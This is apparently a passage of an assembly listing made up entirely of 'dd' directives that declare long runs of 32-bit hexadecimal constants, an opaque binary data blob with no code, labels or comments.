dd 8429A468h, 0B76CB300h, 3167523Ch, 5BB001E1h, 0E46259h
dd 0D8655F73h, 8AF41FDh, 0B0EF5378h, 507B3E87h, 64816000h
dd 0C75D007Ah, 1B5EA2ABh, 73018754h, 0F9FC109Fh, 719EF5FEh
dd 74EEC0DFh, 0DBE81B1h, 0CC0CDEE4h, 0C91E7C65h, 61A867EFh
dd 42C5600Fh, 453769A0h, 35C0C149h, 75452h, 0DF0AE25Ch
dd 384353A4h, 0A1006BE2h, 0E61A9F75h, 22A064h, 5EDD0573h
dd 59996CCCh, 0E93F83Ah, 61D2288Ch, 0BDEF4C19h, 4ECD5980h
dd 0DB60903Eh, 1A1BF500h, 0E3359ED4h, 513055Ch, 8073532Eh
dd 8EDD1DCh, 7826AF0Ch, 0C068B911h, 0CDE5B9D0h, 9D4C4677h
dd 5C7126B8h, 1D87BC29h, 6970CDB0h, 395A9C4h, 0BAC517D5h
dd 1E8E5B2h, 577F430Eh, 0A822F898h, 80210156h, 0B8D78A1Ch
dd 54384214h, 0A0FC9444h, 0F3C20200h, 0FC03BFB0h, 0E31100D6h
dd 9F81FA71h, 4600CA9Ch, 0DDCED928h, 0C5C2280h, 29CCD567h
dd 0B5E0DF98h, 8034634Ch, 8514E357h, 0EEEC126Fh, 55704B10h
dd 0F890810h, 13E1B00h, 0B2876FCFh, 0AC810BEDh, 0A83910E1h
dd 0BD8C5154h, 0B271030Bh, 0E99C85A3h, 3219E844h, 60FF48B4h
dd 14D539FEh, 9500F16Eh, 2248B8A7h, 10414CD2h, 0BEEF8Ah
dd 0F8382808h, 34C7F3h, 86D5827Fh, 4E29CC0h, 317C7473h
dd 69961813h, 0AC8EF404h, 0AB25594Fh, 1A45207h, 0F3879A0h
dd 86F88ADCh, 5900086Ch, 76CCE00Bh, 0C01858F0h, 4177AE80h
dd 51C0B2EFh, 6754D07Eh, 0CB0C01E6h, 41C3351Bh, 0AC66D8E0h
dd 7691360h, 28F8E36Bh, 9029B4h, 7AC91D68h, 43FFCCF9h
dd 56AF0A07h, 801B18E6h, 42D680Ch, 4455E8ADh, 61003560h
dd 21A16F31h, 2E717B39h, 3A106E46h, 658FFD83h, 710DBD78h
dd 394554FEh, 542372F1h, 3074C440h, 8A08B704h, 94EE54ACh
dd 0F4A9AF74h, 48AD1029h, 4E8B0045h, 0F1E9CFA4h, 2200FF58h
dd 0B4DF7D14h, 6132DB82h, 371858A2h, 1E4482Fh, 330940h
dd 4BD6F983h, 4C211644h, 0CE008FE6h, 0DAA15FABh, 31D4C8B5h
dd 0DF384D7Bh, 6553E428h, 389B49C0h, 3E3E3F16h, 0BA00F64Bh
dd 1E765A26h, 0D160E35Bh, 3AB18F78h, 0BC872CFDh, 47644420h
dd 0DBE0BEC0h, 3838123h, 15515B94h, 2CF37802h, 28F5EBC9h
dd 33809FB0h, 3EAF741Dh, 776C3D73h, 5E35E49Ch, 0EC4CC069h
dd 0D5682DC3h, 9C375324h, 0E08278A8h, 6C38A844h, 0DC007788h
dd 0EAF96271h, 661DD566h, 3030E13Bh, 2812FE42h, 0ED1F0F23h
dd 0B880C449h, 53E30A62h, 4D6CB700h, 0DEFBFF9Fh, 7A9025B2h
dd 2295804h, 912E2D19h, 0F11002B8h, 2F00CA21h, 9185A89Dh
dd 78488Ah, 0DD7CF7B0h, 0FB726DE1h, 0A7E40807h, 24247E79h
dd 24162CD2h, 6374C003h, 0F7F22A19h, 9061D2h, 1E894DCFh
dd 0C030FA18h, 0E16BC5F2h, 942CFD65h, 0A28274A3h, 89077F26h
dd 77849028h, 98289662h, 19DBB101h, 0B9F629C3h, 2DE9F14Bh
dd 1D74CECh, 950EB70Bh, 60D992A8h, 0FE41B088h, 8A239060h
dd 0B200E046h, 6A882B29h, 5CD72ED8h, 0A100B98Bh, 2C35117h
dd 0D16F93A6h, 1CF16848h, 3F3C8B76h, 0A5670380h, 20C6D293h
dd 2669FDD0h, 65F01E74h, 0B85EDDh, 55CD057Ah, 35E9B527h
dd 134818CCh, 241B3D01h, 37F5CDC5h, 430E6D8h, 8701A8E8h
dd 0E450D0AAh, 723CFD33h, 1C2BC453h, 4291F71Dh, 3419503Ah
dd 4F18107Ah, 0C0690EDAh, 733707DFh, 811D29ADh, 4A643288h
dd 0C32D2028h, 88BC75B9h, 999CECF8h, 8F413A02h, 80B1D94Ah
dd 5C6A9560h, 28AC6275h, 0A8729CFDh, 5CE0BF24h, 90370949h
dd 1C546BC8h, 0CB8B92BCh, 5C101305h, 0E5327FA6h, 417B2879h
dd 0A0481034h, 33F60BF3h, 57004A32h, 1B8DA466h, 471C7400h
dd 0FD216C6h, 0FBFA0B6Eh, 0E5817388h, 0D8F25855h, 3601F306h
dd 68CD6DC1h, 444091FDh, 7C797CC3h, 0E9D6090Eh, 2F09BE87h
dd 9C04AC21h, 80582DB5h, 66E98C65h, 0E81159FAh, 0EAF25600h
dd 93804FC2h, 45A7E98h, 9CEB6460h, 1C750438h, 0E4FFA819h
dd 0F5018974h, 97C9C8DEh, 0B8CC1601h, 38601E9h, 469E43A9h
dd 133AD487h, 2A5CAD00h, 235FE349h, 0C940001Ch, 2D15D717h
dd 950EFE4Dh, 0A31BDAB9h, 0F48065C0h, 88B12C88h, 1400CC75h
dd 5EEBD2E7h, 4C34F5B9h, 32CA4B0h, 0B52041E8h, 0D910FE5Fh
dd 2754316Ah, 0E41F6D11h, 5F79EFC6h, 50DF6F00h, 7498178Ch
dd 91CAB8A3h, 1ADB0C28h, 9B008A81h, 0DF2C5DC3h, 2153F0Bh
dd 81254B88h, 8D20EFDh
dd 0FCF8F30Ah, 4760F40Fh, 24B2FABh, 0CC9357E0h, 5C662C18h
dd 7429FB62h, 3D4E607Ah, 9351010Ah, 0DCBF5F29h, 8C6239h
dd 3D676A86h, 3FD576h, 5163D6E9h, 9F7F736Bh, 2CEEC300h
dd 0AEA70F21h, 0E7B3009Eh, 0D8E3D7B6h, 851C93DBh, 0EC4271AFh
dd 20593F18h, 63D7434Bh, 0DF0094A4h, 1994DEBCh, 0F1BEFF4Ch
dd 0FD0BFC69h, 3011B392h, 5166105Dh, 7DAB3E2Ch, 63303BBEh
dd 6DE46919h, 7ACE4E00h, 0B1F198E5h, 0C1D624B8h, 0FF242058h
dd 475820h, 0B6D5D7C8h, 0E5447793h, 48A4C45Ch, 0AFEF86F4h
dd 3C74EE31h, 0E0083ABh, 8943A38Bh, 1D0BA5ADh, 1C19A04Bh
dd 5FFA00C0h, 0AB9733D6h, 1AE4B7ECh, 0C9D2DF00h, 14A8A79Dh
dd 13F92E59h, 0FAF340D8h, 9CB94432h, 98385404h, 0D23048F1h
dd 5A491E73h, 0E8AD72Ch, 886B7B3Ch, 0D009064h, 728BA979h
dd 0F0F2C725h, 6810033Eh, 0DFF31153h, 4BB0B4A8h, 0AC910411h
dd 0A7E0A200h, 0F626B397h, 10210C4Fh, 0DAE093B2h, 8638000Bh
dd 0FCE743E3h, 3C0383C9h, 4D3A9A09h, 20A84E87h, 78A39D9Ch
dd 460794Ch, 2CF37B6Bh, 987180CCh, 90DD488Ch, 844EC012h
dd 142AACh, 7B6D88C4h, 861F2CF1h, 80305140h, 0E4094552h
dd 99B6D7CEh, 0C40267A8h, 7C5C9925h, 0A0E7D009h, 3A29502Ch
dd 0A8211496h, 9F826858h, 0D0C47A26h, 79704101h, 0CE196FECh
dd 8C352881h, 29546E18h, 51C200A4h, 71684E60h, 0C14700F0h
dd 6EA49193h, 10008EA2h, 181A137Fh, 9988FD66h, 0C8E290F0h
dd 512E408Eh, 2B321973h, 0DAFF6185h, 0C12D037Ch, 57C90A2Eh
dd 0BCDDB388h, 2FA4E103h, 80765FF2h, 16CEA95h, 22F991AEh
dd 0F059AF6Eh, 2D005DF3h, 70E4751Bh, 19D54D5h, 4E427972h
dd 0F8B9CF66h, 0EC09E9A7h, 8198F465h, 28DEF7FCh, 49F195D1h
dd 0E0C0C028h, 3D92DA36h, 83B94D01h, 13F00926h, 0C800A454h
dd 0AEF57DB1h, 0CD680521h, 47157365h, 4F3272A8h, 794E6302h
dd 71F8C043h, 2E0E58EEh, 6301D64Fh, 0C840BDD8h, 0F973F7h
dd 6CECDEB3h, 684C1795h, 4F6330Bh, 0BF18C989h, 53141473h
dd 9580A470h, 0B19E1862h, 64AC0C9Ch, 6840C23Ch, 0A89C009Fh
dd 525BDEC9h, 0A338EA59h, 14F80010h, 0C7297D13h, 7F20073h
dd 2BB70576h, 0DB12D44Eh, 0E50938A8h, 88080432h, 14F8C8Ch
dd 0D19A4043h, 31AD245Eh, 0D9882070h, 2106C3E2h, 0BBF00886h
dd 91440081h, 575D6A4Ah, 8C0E59A3h, 83FC8230h, 0F1AA2038h
dd 90637918h, 87E2A502h, 9CD0956Bh, 11633721h, 694C00F5h
dd 48478DB7h, 0F15002Bh, 0F35CBCAFh, 0DF4D2A19h, 7F650940h
dd 74546614h, 10C70B53h, 0E80674B0h, 12EA51FAh, 0C7B129C0h
dd 3B38954Ch, 198C8FCDh, 5251772Ch, 0BF662A02h, 0E20E15D8h
dd 0C3C4C04h, 0AA7726A6h, 65046811h, 0D2A14FE7h, 0EBA0CCh
dd 21B727Ah, 4D040CFDh, 2B652600h, 0AE4EBEA8h, 0CCFE0EA6h
dd 243015FFh, 6570E4E7h, 8188947Dh, 0E0DAA20Ch, 88DC2413h
dd 8300F4B8h, 49426911h, 3A96A87h, 659453F5h, 39162272h
dd 20923019h, 90F2FFh, 9B9286C3h, 0BA85D617h, 801E477h
dd 0A21AA627h, 8470EBD7h, 0EC8A48D9h, 4A86119Eh, 0A00488h
dd 41D22B3h, 0BBB303Dh, 0F367B3Ah, 3E6C03CDh, 0BE68FA02h
dd 16F4C4E5h, 0D6E044h, 791E62B0h, 90005573h, 0ABC6485Dh
dd 3F4221h, 0BE786832h, 1215F92Bh, 733C5F00h, 0C45D93F7h
dd 21950225h, 2D34194Ah, 0E27F9491h, 9488EF25h, 6AE273h
dd 71373AECh, 0FDD1CA2Fh, 0AC449A5Bh, 94A9FFCEh, 4015DA1Fh
dd 4938A61Eh, 19C37627h, 0F5C667F4h, 51AF4C8h, 0DA52CF0Eh
dd 0B5380833h, 0DF8A6080h, 7E890D0h, 67FB5976h, 336C0A7h
dd 4B01584Ah, 9606D9D8h, 0CC7350EFh, 0BCF028h, 656CD795h
dd 0FDC81D8Eh, 6B392C72h, 0F4147E4Bh, 21C8EF7Ch, 0AB9108FCh
dd 5477CE84h, 0A00048E2h, 0BB174735h, 92075BC2h, 0E96A848h
dd 335A2320h, 5E1800CDh, 64E6C540h, 6D73CBADh, 0A7D10960h
dd 0BE30E2A3h, 4019E470h, 2217FEC1h, 9B340013h, 0EAAA6D82h
dd 51011E3Ah, 90D7AE6Eh, 0D834692Fh, 435E401Bh, 0C083BC28h
dd 25B69D22h, 9019E3BFh, 11EFD28h, 0D42C7865h, 0B5DAFEA0h
dd 79B0DD00h, 8C4BCB6Ch, 0D9D50053h, 332F5161h, 6CFF4FADh
dd 422040C8h, 9AD74D00h, 2618C3D2h, 954600BAh, 810B99ADh
dd 0D41EA460h, 18BB3C54h, 57801A35h, 0C59424FDh, 92A589C4h
dd 103B4041h, 0CF1CDC76h, 0DBE03861h, 751F3CABh, 1A64B900h
dd 0C53EA882h, 0E973017Ch, 0BF53A015h, 0A2C2079h, 21FFA640h
dd 0F20713F8h, 0AAF0C0FAh, 32B0925h, 21671A1Eh, 0CE8E552h
dd 0A60290A3h, 0BF97471h, 0E424C2E0h, 0EFD507CCh, 2388255Eh
dd 0E000B1CAh, 0CD813697h, 7A781458h, 5C511753h, 1170097Bh
dd 509B444h, 3496334h, 0A0B415D4h, 0D4E35Fh, 9A10BB44h
dd 533E7AC2h, 0CFB671Dh, 404F888Fh, 1E2DE9E6h, 3D373DE2h
dd 86DE412h, 0DB96F950h, 83A81C90h, 5EC60009h, 46427E52h
dd 0C30B36BFh, 252C3271h, 10CA5A38h, 283D6600h, 8CC6ED9Fh
dd 0C3E27F00h, 1434C24h, 35FD01B9h, 0BC60164Dh, 7AE822EEh
dd 0B200AC73h, 319EAE83h, 97DC65Eh, 5A52BADh, 801E7300h
dd 27131393h, 0E021AE72h, 81965F54h, 0DC9001F1h, 5082E8D1h
dd 0BA8D210Ch, 0D6330E00h, 0AB67CBBDh, 7257062h, 71730766h
dd 32DF01Bh, 55057EC5h, 63D6ECCDh, 5D7A488h, 0C8DE91D9h
dd 0B1A091F6h, 0DF118692h, 296253h, 7368CFFCh, 575A7881h
dd 18EC510Bh, 65E44829h, 7E8B974h, 2187CC68h, 0D98969B6h
dd 94402EEEh, 760EBC19h, 11A200BBh, 0EBC34036h, 0D4B664D7h
dd 0A99DB641h, 1B262876h, 0C9595068h, 788F1C00h, 33BD74CEh
dd 1E830B0Dh, 582A5CBEh, 76596C98h, 0A749FD0Fh, 8FDF6115h
dd 36D5537Bh, 54767040h, 0F1C8B067h, 0F8D85310h, 11F76E25h
dd 84076D7Ch, 4786088Ah, 39180FA5h, 0DE1E595Eh, 0FA4217EAh
dd 40A86E8Ch, 0F1EEFDh, 0E2183432h, 5172FF33h, 1F44909Eh
dd 3688E108h, 0FAFF8C66h, 5D050359h, 63DB664h, 9D509BC0h
dd 54789EB1h, 33E1EC0Eh, 3852AAFEh, 0E2F71E84h, 1518B1C0h
dd 0F8E51DC0h, 504F18B4h, 0B242D94Bh, 5C64D80Ah, 0E0894FD0h
dd 6D385CD0h, 0ED557FA4h, 7AD44798h, 5E7340A0h, 9D02FF50h
dd 0E90ACD11h, 0B42C6066h, 83410E1Ah, 30A05B73h, 4DE87AACh
dd 2BDAC61Dh, 0ABE7FB01h, 0C0D51BA6h, 88256860h, 9527886Fh
dd 78B1509Bh, 7CC0BDECh, 8000C24h, 69B29A3Ch, 1DF4A5h
dd 0AE42205Dh, 0C341F74Eh, 0A4FFF0A0h, 4056781Dh, 3E538180h
dd 0F0446E59h, 9FD7054Fh, 0F9AAD1Fh, 0C09DC688h, 0BC52EEAh
dd 4E01CD69h, 135F7252h, 0A246814h, 4FC248D8h, 3FBFF901h
dd 0F86012ECh, 0A45F754Ah, 0E71DA460h, 58421C04h, 0D4E1C179h
dd 0D08C47AAh, 0F9007375h, 13F29A78h, 472F6A7h, 7603E901h
dd 1E0CA82Dh, 0DBD37CAFh, 92C09CD0h, 3970050h, 0FA28C42h
dd 82065BA7h, 304896B2h, 7B6809D8h, 0AC10A8E8h, 145FB4D9h
dd 9E009BE8h, 72543A89h, 520EEE2Ch, 97FD1D09h, 8F47F0C0h
dd 0B7D92448h, 8686428h, 60A024BCh, 592C157Fh, 5150A113h
dd 14913C8Fh, 20484FE1h, 8F56A6Ch, 727B0C07h, 10285571h
dd 3A5281h, 54DF1130h, 0F4907794h, 9CDBF480h, 414Ch, 32B15F67h
dd 7377930Bh, 91ECB4B5h, 65CE02A9h, 803351ADh, 4BCD6888h
dd 7E870055h
dd 0CC67A2FFh, 80A0736Ch, 7B755FC3h, 0C1495h, 85115573h
dd 0DABF175Fh, 0F00420B9h, 48F2F7E1h, 1EA87B2Ch, 969D657h
dd 68D30B4Ch, 0AC251380h, 1A7938h, 0A824D137h, 0B091A61Fh
dd 0B79F8A00h, 0D8334C54h, 98584A63h, 4CE1E170h, 8C90FD4Ch
dd 0CAD77480h, 0DEC00600h, 296F8849h, 709D5D53h, 89AB7285h
dd 0F0272A40h, 33BCE3AEh, 4524E8E3h, 0C23D00DAh, 8423C83Ah
dd 87F875B7h, 6A927305h, 78CC3267h, 0C70B00E7h, 2682B315h
dd 87033D63h, 907B9776h, 68EE8959h, 61C0F438h, 4F108936h
dd 0A29DF012h, 48F21500h, 264F65Dh, 6094B99Bh, 88E608C5h
dd 0BF80527Fh, 8BDCB9D9h, 0A80E44CCh, 0FECD8790h, 3C88211Ch
dd 0B80097F3h, 19305F9Fh, 0F2054E47h, 0E1BEDF8Dh, 4C72048Ch
dd 67005E6Eh, 9304F0E2h, 0BCB657F6h, 5B0138A8h, 58C6C2D9h
dd 0EE0046BEh, 0F2010396h, 188EEC77h, 0A8CCFAA9h, 60535E76h
dd 8C2B8080h, 50C14892h, 78A5DF46h, 13E49470h, 0F6755D8h
dd 403F619Ch, 897CF33Ah, 7514F26h, 0D188C0C1h, 828608C0h
dd 9F1A1893h, 0A040C012h, 6881A86Bh, 0CCC54031h, 4ACFC3Ch
dd 8822924Ah, 0B0611AE5h, 5814EEC5h, 0C8823095h, 80E6E2E1h
dd 0DB1866F0h, 0C30A6D2Bh, 5BB60070h, 0A2F73318h, 4209A40Dh
dd 20CD28D8h, 0D4DFFCACh, 0A928A112h, 0DD2C6432h, 0B410AD54h
dd 1502AD1Ch, 30BC3AF6h, 0EA4465F4h, 201C1F74h, 5E371911h
dd 31776F7Ch, 3A999D80h, 472D8F46h, 878011D9h, 28480A04h
dd 3C469398h, 0BD18219Ch, 99788788h, 129CB042h, 220CDCBEh
dd 0D62024FCh, 7D7A68BBh, 69270021h, 0EAC2130Eh, 0DE0062B3h
dd 0D9889364h, 9A45BDDBh, 0ACA26Ch, 0EC78A185h, 0E2149694h
dd 0D45E5ACEh, 0B26717C0h, 0E8650075h, 9ECC0F20h, 0DB00E7DDh
dd 432E62ACh, 0B690F38Fh, 0E533025Ch, 0ACE00F17h, 540E86F0h
dd 0A0786F43h, 0FAE8DBD7h, 82B033Bh, 0E9B3D945h, 6C881114h
dd 24884A14h, 0FB300B2Ch, 28808BF3h, 0ED49110Bh, 0FD41714h
dd 46A900B4h, 0E0B3595Bh, 724F0093h, 835E89EFh, 0D848BDC5h
dd 6DE0C040h, 1DF0FB04h, 1DDD787h, 0B015FEB5h, 41F461A3h
dd 0FC7882D8h, 0A4098D4Eh, 77F19Fh, 73F81831h, 0E03A00FCh
dd 0BC1CDFD6h, 0C309F924h, 0FB1A7165h, 0E6218FECh, 0A8423720h
dd 5500A545h, 74B6ECC2h, 0E8B7B389h, 19A01250h, 48C89635h
dd 0C7C00745h, 0E4D517DFh, 0CDA03061h, 0F8BB2A6Ch, 0A8333F88h
dd 0AD9D22A4h, 1C402EE7h, 213A7E8Bh, 3D870038h, 41B619CFh
dd 4930067Ch, 6E182067h, 84FC992Ch, 8EB19CEBh, 0F04E8960h
dd 7174206Ch, 48F0A481h, 3E00E984h, 0A4D3EA0Eh, 96571AEh
dd 5466EB76h, 0F9A72C10h, 11CB7F00h, 4058148h, 4B52075Ch
dd 34321040h, 8254A779h, 59B518E1h, 40A51E38h, 31E44BB2h
dd 9C04377Dh, 0F00BEF8Ah, 761EA200h, 2F1816B6h, 0C5106F6h
dd 283125D6h, 330D1844h, 0E0FD7A4Dh, 0B02CE420h, 0CD2904BEh
dd 0E31AA665h, 87EC04F4h, 64C2D7A4h, 0D9592391h, 11B27888h
dd 5287F300h, 0CCB92503h, 5086E657h, 37D7086Ah, 0A22979B1h
dd 0CC790EFEh, 4BC60539h, 0EC5C90DAh, 1680FC1Fh, 0B4295B89h
dd 0D6B600F6h, 0F1A6E1DAh, 2E0055EDh, 6C891B4Ah, 0F0581CB3h
dd 6E901201h, 4CA830CDh, 1FF2A574h, 0F8301A26h, 281E326Eh
dd 5B4F0922h, 2C7993A3h, 7ABE50Bh, 825BF0FDh, 60704B4Ch
dd 953738Fh, 83E44269h, 0D65E9C80h, 37009FB9h, 73604948h
dd 2E1ACFBh, 234FDC7h, 0C8E0A74Eh, 0CD500C54h, 0E95CCF80h
dd 71B00582h, 827AB69h, 47384099h, 6304305Eh, 779285A2h
dd 0E46BBCB6h, 189038h, 2490E1E0h, 802FAA9Bh, 2C31AD2Eh
dd 0B66C046Bh, 35B3D620h, 52F63302h, 4D5369EFh, 16689314h
dd 0F8A3C0h, 19DED7C7h, 247177B8h, 5220A9FCh, 5D408C54h
dd 1A2258Eh, 0D09F3E5Eh, 0D562062Ch, 4C33C4F7h, 0B0430412h
dd 7D41E400h, 9FF7479h, 6C71272Dh, 780058F1h, 609F4A46h
dd 0ABDA02E9h, 73074D49h, 0B2B83840h, 0EF3E5114h, 1F8B0070h
dd 0F07DD2FBh, 6DE1109Fh, 40AF0057h, 50A568E9h, 1D5642DAh
dd 202B54h, 0EDC1260Bh, 46CA2018h, 0E42EE503h, 0E0A5291Bh
dd 4F264360h, 0DA2820F3h, 6907319Bh, 0CC769DC3h, 0A84A5620h
dd 0E65309CBh, 58003F1Ah, 70A466A7h, 1889B100h, 171FA01Eh
dd 0A8A0719h, 0B09656F8h, 0F76B884Ch, 0C95E7303h, 0E025E2D6h
dd 221949E7h, 65276030h, 4D1C987Bh, 8234B0C2h, 41EC7670h
dd 0F5DEE8BBh, 811869FEh, 59F873EFh, 70FB5DCCh, 2BAF0168h
dd 912AA1Bh, 32FDFC86h, 0CF7F3F1Fh, 1E4E2301h, 308357ACh
dd 0C0D53B97h, 8AC003E3h, 1309CEA6h, 0C8FFC360h, 366F1E8h
dd 575B0390h, 9DD3E0ABh, 0D4DFF80h, 113F902h, 5C7BDFC9h
dd 413F1370h, 0CC342B0Ch, 341E2BC7h, 72B6C500h, 4BFFD64h
dd 0D7DD3266h, 80D0FDBAh, 0C70BD5B7h, 0AB162FA0h, 2B970890h
dd 4698EF16h, 0B15424CCh, 0C2448054h, 0F93DE441h, 0C858C53Dh
dd 50AC4638h, 81244B6Ch, 0AD01B440h, 0A4C37865h, 672093h
dd 8D97338Ch, 0F716A776h, 2CC291CCh, 7465222Fh, 11E05488h
dd 90762D5Ah, 0A04FEA20h, 0FDFEDCh, 0A37E8C0Eh, 8DB5FFCFh
dd 134B9700h, 92F8D6E8h, 971C7894h, 7F8F0410h, 6E2B51Eh
dd 97394501h, 8BE49AE0h, 0E1EB0905h, 0E05A6431h, 1890DB4Eh
dd 0D68980h, 587C917Bh, 192C6ADFh, 96815205h, 0C0801B3Fh
dd 8A8215h, 517330E2h, 19E0507Eh, 544F951Ah, 22944CC8h
dd 84B5BC11h, 0AF42132Ch, 0B8847343h, 0F4040BBh, 1E25BC4Ah
dd 413C0158h, 0E0297315h, 65F0704Dh, 90BF58h, 0E8B4871Dh
dd 0EA668B5h, 49469DEFh, 2B8E2D2h, 0B6853505h, 0C24461BAh
dd 4000282Ch, 0CD5A797Eh, 3099A77h, 720EDDBFh, 859421DCh
dd 481D2B11h, 0D9F80F8h, 0AAC29AE7h, 4B80BE1Ch, 255DC400h
dd 7BAA25Bh, 48221E9Bh, 8753409Dh, 0FE00F255h, 0D3E0C9D0h
dd 0B4011266h, 0B83E8038h, 255C359Ah, 8F36D902h, 0D4EC4BEFh
dd 81ED40A4h, 0EA0CA5DBh, 39A969CCh, 5B070BF4h, 1851F1E2h
dd 0B0B1F4A8h, 3B286760h, 0FBC2002Ah, 517B30FDh, 0BE19F12Fh
dd 54514EDAh, 0D2938661h, 0E09C16C5h, 0A6125210h, 900CD3Fh
dd 13429D7Ch, 4DF2056Eh, 0C14B56D0h, 0E8CE6234h, 45259032h
dd 4440E6E3h, 8C0038BCh, 41DBC2B0h, 0D39487h, 11AC3FFBh
dd 0C0EF14FCh, 80B80499h, 0D66B0DEh, 0F7A4F33h, 613C6EE3h
dd 19555FE2h, 736524E8h, 0F9450094h, 0E0DDCCE9h, 88A521D3h
dd 48D3854h, 0AF8330h, 0D41CC32Fh, 4B33E547h, 0C2EB7A00h
dd 0BE6AD9DFh, 502096DEh, 1A0AE849h, 945BCD78h, 7B73FF00h
dd 106690Eh, 0E73275E0h, 294E41FBh, 1A2D0030h, 67861E84h
dd 2CF60CF3h, 0F1118302h, 109FC4F8h, 9DA794h, 0E4EBA1ABh
dd 781FD64Fh, 94D810B5h, 0C0B400E5h, 0FDBE950Eh, 5F03AB24h
dd 722A8550h, 0E0168B59h, 0B5AA68ECh, 7A7B2011h, 3C735829h
dd 78F3DA00h, 0C0D9F9F1h, 650E7B7Ch, 9DC347ADh, 34C5E5h
dd 6E0FC4D0h, 4B00D369h, 849081FBh, 0E07FC67h, 0E3758FDCh
dd 0B9043212h, 0A8B7CA20h, 396A0078h, 5C5251FDh, 0D9048CE3h
dd 3BF3AC90h, 1369D380h, 0FF450078h, 66CBE1BFh, 50000FFCh
dd 73902FC7h, 16F9747h, 192D1CF7h, 0DC52A0DFh, 0C5165E1Ah
dd 0C01E93Fh, 898B22C8h, 79BAC4Ch, 75EA4EA2h, 0CD93E0E0h
dd 0A890C726h, 48F1444h
dd 0E1B734Eh, 1CC4C2CFh, 8A5E2910h, 6913C8Eh, 0B18944B7h
dd 8544B08h, 77426450h, 318B2F12h, 0FC76204Ah, 83F0C110h
dd 0A7073923h, 3230FA3Ch, 0B24B7950h, 81EA4859h, 900EFE13h
dd 0D3FA73B4h, 15894500h, 52721CADh, 0C611CBD4h, 3A7768C4h
dd 8D5E2B00h, 51FBF4BBh, 0C8624CE6h, 9CC4DF81h, 38236EB9h
dd 1A391CF6h, 0A500BE7h, 510068F1h, 0DD42D99Ch, 0CB805FEh
dd 0B82B63D6h, 0E1BD8704h, 207CD909h, 0DCBF371Ch, 9A0CF71h
dd 14797C98h, 2DC38A5Ch, 0F6BC4416h, 0E464CE7h, 82BAF20Eh
dd 0B27DC09Ch, 2A19B192h, 1002B4Dh, 0BF5E2F4Eh, 434FADAh
dd 6ACB05F0h, 0A2757827h, 4C660544h, 4CAD5467h, 0BC807F3Ch
dd 86476FB9h, 69FC6CC4h, 0F57BCF00h, 524E7119h, 487262CCh
dd 0EF05ABC9h, 0FEC36400h, 7DD6FD7Dh, 0ADCB1635h, 0CC140B3Ch
dd 0A5655448h, 0EF344F09h, 0D6981852h, 3B630076h, 1AA46ED2h
dd 0FD0124F1h, 0ED44E072h, 0DB2918h, 0F27A76A1h, 389F82Ch
dd 53A48803h, 6673E70h, 18343520h, 0ADF0E14Eh, 15794900h
dd 0D7554FC3h, 13480B17h, 5064C7F1h, 0BCDBF244h, 1DE3ACF0h
dd 5B32C040h, 0A6793E35h, 0D1C73100h, 9B3B1B9Ah, 811EB8DDh
dd 6511A0B8h, 234C7371h, 90032F35h, 0D9F98F45h, 0FF8708B5h
dd 30888038h, 6FEB5204h, 5C338CC8h, 1AC8385Ch, 0BE802D80h
dd 0F68825F1h, 0CE6A01C9h, 53BF481Bh, 4F919DC6h, 1987B0A9h
dd 0B180EB76h, 5DC884h, 6785A35Eh, 0F0531F9Ch, 88FC20B7h
dd 6A71B4h, 28217EEEh, 3FBBCB55h, 431D3402h, 76E4BE69h
dd 219C4464h, 0F5E86CCDh, 57A6029Dh, 1EA74F87h, 0BED701E0h
dd 0CEDBC900h, 197801FAh, 2D120ED6h, 6FE0D44Eh, 0BFF81BD7h
dd 20DA5225h, 0FEE45414h, 5F2002Ch, 0EF53994h, 0AFE65538h
dd 3BD8711Dh, 99C0D95h, 724B464Eh, 0DFFE01F4h, 706C8EDCh
dd 54804C4Fh, 0FCFA8604h, 788155A4h, 0A4709D21h, 0BF58403Bh
dd 9DB0DB58h, 0A891D58h, 6E930023h, 4F4294E5h, 6D0FE10Eh
dd 60A9995Ch, 0EEA66A38h, 0D8012472h, 354D0EFDh, 88CC8082h
dd 0CE14DC40h, 4980B099h, 5DCACF7Ch, 0F8E6048Bh, 0F455941Bh
dd 1200D4ACh, 0E327C9C6h, 0E49A8F09h, 0FD2F128Eh, 0C02CF4DAh
dd 4DF17400h, 96B6D843h, 0E44A029Eh, 75AAA297h, 5E93F884h
dd 0C71C1040h, 7340FCh, 78915F4Fh, 3414F77Bh, 0A5D48E13h
dd 55C59000h, 389CE987h, 885E4D47h, 60012644h, 0C965A95Bh
dd 0E8EC1A68h, 4ACE7E33h, 780C8B7h, 71F70D1Fh, 596E1C0h
dd 0E15476CDh, 7977D0h, 43EC09Bh, 0BBDCA213h, 3744E490h
dd 987C4865h, 84C93FC8h, 15E5C08h, 0DFCC6E44h, 844B3BA7h
dd 4C858FFh, 72F933D8h, 0F8193147h, 8A7F1C08h, 5788541Fh
dd 68F07380h, 97D27C0Ah, 0F3CEE880h, 10059A2h, 0CBDD947h
dd 9061BC92h, 335A05CCh, 0C1DFB4D1h, 7CD6BE16h, 0CE5480A4h
dd 912BD11h, 8FFD3786h, 70F84010h, 10685325h, 0A86288h
dd 1D5DE7CBh, 0A4427ED8h, 58E8C87Bh, 0BD3B5607h, 0E381D361h
dd 70F5460Fh, 6800AC21h, 0BEBF22Eh, 14E7D566h, 540B242Bh
dd 0E2818CD9h, 4A5A3271h, 8382C43Fh, 2109EEB8h, 0D17326A6h
dd 66044E14h, 0D09E87C1h, 75112FECh, 0C412300h, 0FB9B4204h
dd 557C0069h, 9050F236h, 18BD727Ah, 3868A6F4h, 20A49FA3h
dd 0D8813930h, 218E06B3h, 0C8D1FA4Ah, 0A70F1500h, 0F3720BCh
dd 52D2F5EBh, 63F102DEh, 87CC888h, 9FE1C040h, 0BD80081h
dd 9950F495h, 390008AFh, 214F25CFh, 2D6CBBDh, 0DABE77E9h
dd 6CC4151Fh, 42545340h, 0BAE002ADh, 24583F18h, 39F0CC77h
dd 4A60AA07h, 0BDBFFF87h, 80B0602h, 55B8E0C5h, 31E07B7Ah
dd 8B68FE30h, 76540207h, 0D9134148h, 94D8C46Fh, 8973FF01h
dd 0CBD043F5h, 4B00B438h, 2C72B72Bh, 9E0B4723h, 4B292CCh
dd 0B253CA18h, 75140034h, 57484EDh, 7DE400AAh, 0B992960Dh
dd 72512A18h, 502218h, 4C3C8E7Eh, 127CE90h, 3A7C3BFh, 0E63A5985h
dd 0A04F2C54h, 0CF3DC60Eh, 0A86E0013h, 0EB4A6979h, 6500723Fh
dd 0CC6B06FEh, 790A2F7Ch, 0B4781689h, 2D6022ABh, 10705411h
dd 0AFF8864h, 716B7F00h, 0E0CADB36h, 0DA602875h, 0C44F4A98h
